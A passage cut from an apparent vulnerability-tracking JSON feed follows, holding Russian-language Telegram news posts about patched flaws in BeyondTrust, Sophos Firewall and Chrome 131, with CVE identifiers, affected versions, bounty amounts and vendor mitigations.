\u0441\u0430\u0439\u0442\u0430.\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, CVE-2024-12686, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0432 \u0442\u0435\u0445 \u0436\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043e\u0431\u044a\u0435\u043a\u0442.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u044f\u0432\u043d\u043e \u043d\u0435 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u044d\u0442\u0438 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 0-day \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c BeyondTrust \u0438\u043b\u0438 \u0432 \u0441\u043e\u0441\u0442\u0430\u0432\u0435  \u0441\u0432\u043e\u0435\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0430\u0442\u0430\u043a \u0434\u043b\u044f \u043e\u0445\u0432\u0430\u0442\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432.\n\n\u041d\u043e \u044d\u0442\u043e \u0432\u043f\u043e\u043b\u043d\u0435 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f, \u0434\u0430\u0436\u0435 \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0432 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u0445 \u043f\u043e \u043d\u0438\u043c \u043e\u0442\u043c\u0435\u0442\u043a\u0438 \u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442.\n\nBeyondTrust \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442, \u0447\u0442\u043e \u043e\u043d\u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0430 \u0432\u0441\u0435\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430\u0445, \u043d\u043e \u0442\u0435\u043c, \u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u044b, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u0410 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430 \u0442\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0435\u043c \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u0441\u044f.", "creation_timestamp": "2024-12-20T12:20:05.000000Z"}, {"uuid": "40ad4958-ad41-410e-8ddd-c9811903d91d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12729", "type": "seen", "source": "https://t.me/true_secator/6568", "content": "Sophos \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e\u0431 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0442\u0440\u0435\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0435\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435 Sophos Firewall, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438, \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 SSH-\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 Sophos Firewall \u0432\u0435\u0440\u0441\u0438\u0438 21.0 GA (21.0.0) \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432 \u043d\u043e\u0432\u044b\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u0445 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a:\n\n- CVE-2024-12727: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0434\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0437\u0430\u0449\u0438\u0442\u044b \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b. \u0415\u0441\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f Secure PDF eXchange (SPX) \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0440\u0435\u0436\u0438\u043c\u043e\u043c \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 (HA), \u043e\u043d\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0442\u0447\u0435\u0442\u043e\u0432, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a RCE.\n\n- CVE-2024-12728: \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u0430\u044f \u043d\u0435\u0441\u043b\u0443\u0447\u0430\u0439\u043d\u0430\u044f \u043f\u0430\u0440\u043e\u043b\u044c\u043d\u0430\u044f \u0444\u0440\u0430\u0437\u0430 \u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 SSH \u0434\u043b\u044f \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0430 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u043a\u043b\u044e\u0447\u0435\u043d SSH, \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0434\u043b\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438\u0437-\u0437\u0430 \u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0443\u0435\u043c\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n- CVE-2024-12729: \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0432 User Portal. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u043f\u043e \u0438\u0445 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044e \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0437\u0434\u0435\u0441\u044c -\u00a0KBA-000010084.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Sophos \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b\u0430 \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0434\u043b\u044f \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044f \u0440\u0438\u0441\u043a\u043e\u0432, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 CVE-2024-12728 \u0438 CVE-2024-12729, \u0434\u043b\u044f \u0442\u0435\u0445, \u043a\u0442\u043e \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435.\n\n\u0414\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f CVE-2024-12728 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043f\u043e SSH \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u043c \u043a\u0430\u043d\u0430\u043b\u043e\u043c HA, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0442\u0434\u0435\u043b\u0435\u043d \u043e\u0442 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430, \u0438 \u043f\u0435\u0440\u0435\u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0443 HA, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0434\u043b\u0438\u043d\u043d\u0443\u044e \u0438 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u0443\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0443\u044e \u043f\u0430\u0440\u043e\u043b\u044c\u043d\u0443\u044e \u0444\u0440\u0430\u0437\u0443.\n\n\u0414\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043e\u0431\u044b\u0447\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c SSH \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 WAN \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c Sophos Central \u0438\u043b\u0438 VPN.\n\n\u0414\u043b\u044f \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0439 CVE-2024-12729 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0431\u0435\u0434\u0438\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u043f\u043e\u0440\u0442\u0430\u043b\u0430 \u0438 \u0432\u0435\u0431-\u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0438\u0437 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438.", "creation_timestamp": "2024-12-23T15:40:05.000000Z"}, {"uuid": "9b43de34-685f-4f4c-bc07-4ce1b749cb50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12693", "type": "seen", "source": "https://t.me/true_secator/6560", "content": "Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Chrome 131 \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u0440\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0434\u0432\u0438\u0436\u043e\u043a JavaScript V8.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0438\u0437 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12692, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0443 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0442\u0438\u043f\u043e\u0432 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 JavaScript V8 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430, \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u0443\u044e Google \u0432\u044b\u043f\u043b\u0430\u0442\u0438\u043b\u0430 55 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e \u043d\u0435\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0442\u0430\u043a\u043e\u043c \u0440\u0430\u0437\u043c\u0435\u0440\u0435 \u043e\u0431\u044b\u0447\u043d\u043e \u0432\u044b\u043f\u043b\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0437\u0430 \u0434\u0435\u0444\u0435\u043a\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 (RCE).\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u043e\u0441\u044c \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 BugBounty, - \u044d\u0442\u043e \u0434\u0440\u0443\u0433\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8.\n\n\u041e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12693 \u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f \u043a\u0430\u043a \u043e\u0448\u0438\u0431\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0435\u0435 \u0433\u0440\u0430\u043d\u0438\u0446, \u043f\u0440\u0438\u043d\u0435\u0441\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0435, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 20\u00a0000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0421\u0428\u0410.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 CVE-2024-12694, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 Compositing, \u0438 CVE-2024-12695, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8. \u0412\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f Chrome \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 131.0.6778.204/.205 \u0434\u043b\u044f Windows \u0438 macOS, \u0430 \u0442\u0430\u043a\u0436\u0435 - 131.0.6778.204 \u0434\u043b\u044f Linux.\n\nGoogle \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u0422\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e Google \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u044f\u043b\u0430 \u0440\u044f\u0434 \u0448\u0430\u0433\u043e\u0432 \u0434\u043b\u044f \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Chrome, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0432 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0442\u0430\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0435\u0439 \u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0431\u0430\u0437\u0435, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043d\u0430 Rust.\n\n\u041f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430 Rust \u043f\u0440\u0438\u0432\u0435\u043b \u043a\u00a0\u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044e\u00a0\u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u043e\u0448\u0438\u0431\u043e\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Android \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 